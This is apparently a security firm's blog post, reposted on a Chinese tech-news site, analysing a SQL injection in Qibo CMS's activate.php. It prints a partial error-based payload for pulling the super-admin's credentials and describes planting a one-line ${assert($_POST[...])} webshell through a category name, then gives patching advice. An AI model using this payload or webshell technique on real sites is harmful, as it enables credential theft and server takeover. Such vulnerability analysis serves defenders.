齐博cms最新SQL注入网站漏洞 可远程执行代码提权
齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢。开发架构使用的是php语言以及mysql数据库,强大的网站并发能力。于近日,我们SINE安全公司发现齐博cms又爆出高危的sql注入漏洞,关于该网站漏洞的详情,我们来详细的分析漏洞的产生以及如何利用。
在对整个网站代码的漏洞检测中发现do目录下的activate.php存在可以插入恶意参数的变量值,我们来看下这个代码:
齐博cms漏洞详情:
从代码里发现这个代码的功能是发送序列号激活的一个功能,从激活的链接地址里,可以看出do/activate.php?job=activate&safe_id=$safe_id 是用来激活序列号的,我们从整个齐博的代码里找到了账号激活的一个大体的过程,首先会注册一个账号,注册账号后会需要发送邮件到用户的邮箱里,邮箱里验证的是safe_id这个值,这个safe_id这个值经过md5的解密后直接生成uaername跟用户的密码,然后再传入到get_safe()这个函数,在这个inc文件夹下的class.user.php代码里找得到这个函数。
我们发现这个get_safe()函数是用来传递用户的激活信息,并进行安全过滤与判断的,从这里我们可以插入恶意的sql语句到网站后端里去,并直接到数据库中执行该语句,我们本地来测试一下是否可以sql注入:
从上图我们可以看出可以进行网站sql注入攻击,那么我们就可以进行查询数据库的账号密码操作,比如查询网站超级管理员的账号密码:and (updatexml(1,concat(0x7e,(substring((selectusername from qb_memberdata where groupid=3),1, 这个语句就是查询超级管理员的账号密码,通过这里我们查到网站的管理员账号密码,登录后台,我们进行远程代码提权了。
增加栏目为${assert($_POST[safe])},一句话后门的代码会直接写入到/data/guide_fid.php文件,用一句话木马连接工具连接即可。
关于齐博cms漏洞的修复,我们SINE安全建议网站的运用者,尽快升级齐博CMS到最新版本,对于sql注入语句进行安全过滤与sql注入防护,对网站的后台默认地址进行详细的更改为其他的文件名。对于前端网站进行sql语句查询的时候进行网站安全白名单系统部署,网站后台的账号密码设置的复杂一些,尽可能的用数字+大小写+特殊字符组合。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Java 11正式发布,这几个逆天新特性教你写出更牛逼的代码
就在前段时间,Oracle 官方宣布 Java 11 (18.9 LTS) 正式发布,可在生产环境中使用! 这无疑对我们来说是一大好的消息。作为一名java开发者来说,虽然又要去学习和了解java11,但内心还是欣慰的。我想至少你和我一样的心情:Java在手,天下我有! 今天我们来看一下Java 11到底是什么、他有什么特别的、到底要不要升级到Java 11。 Java 11有什么特别的 在Oracle官网中,进入下载页面,第一个可供下载的JDK版本已经提换成了Java SE 11 (LTS),这里的LTS表示Long-Term-Support。 本次发布的Java 11和2017年9月份发布的Java 9以及 2018年3月份发布的Java 10相比,其最大的区别就是:在长期支持(Long-Term-Support)方面,Oracle表示会对Java 11提供大力支持,这一支持将会持续至2026年9月。这是据 Java 8 以后支持的首个长期版本。 为什么说是长期版本,看下面的官方发布的支持路线图表。 上图是一张Oracle 公布的对于各个版本的JDK的Support Roadmap...
- 下一篇
Java在手,天下我有!
就在前段时间,Oracle 官方宣布 Java 11 (18.9 LTS) 正式发布,可在生产环境中使用! 这无疑对我们来说是一大好的消息。作为一名java开发者来说,虽然又要去学习和了解java11,但内心还是欣慰的。我想至少你和我一样的心情:Java在手,天下我有! 今天我们来看一下Java 11到底是什么、他有什么特别的、到底要不要升级到Java 11。 Java 11有什么特别的 在Oracle官网中,进入下载页面,第一个可供下载的JDK版本已经提换成了Java SE 11 (LTS),这里的LTS表示Long-Term-Support。 本次发布的Java 11和2017年9月份发布的Java 9以及 2018年3月份发布的Java 10相比,其最大的区别就是:在长期支持(Long-Term-Support)方面,Oracle表示会对Java 11提供大力支持,这一支持将会持续至2026年9月。这是据 Java 8 以后支持的首个长期版本。 为什么说是长期版本,看下面的官方发布的支持路线图表。 上图是一张Oracle 公布的对于各个版本的JDK的Support Roadmap...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS6,CentOS7官方镜像安装Oracle11G
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- CentOS8编译安装MySQL8.0.19
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Windows10,CentOS7,CentOS8安装Nodejs环境
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7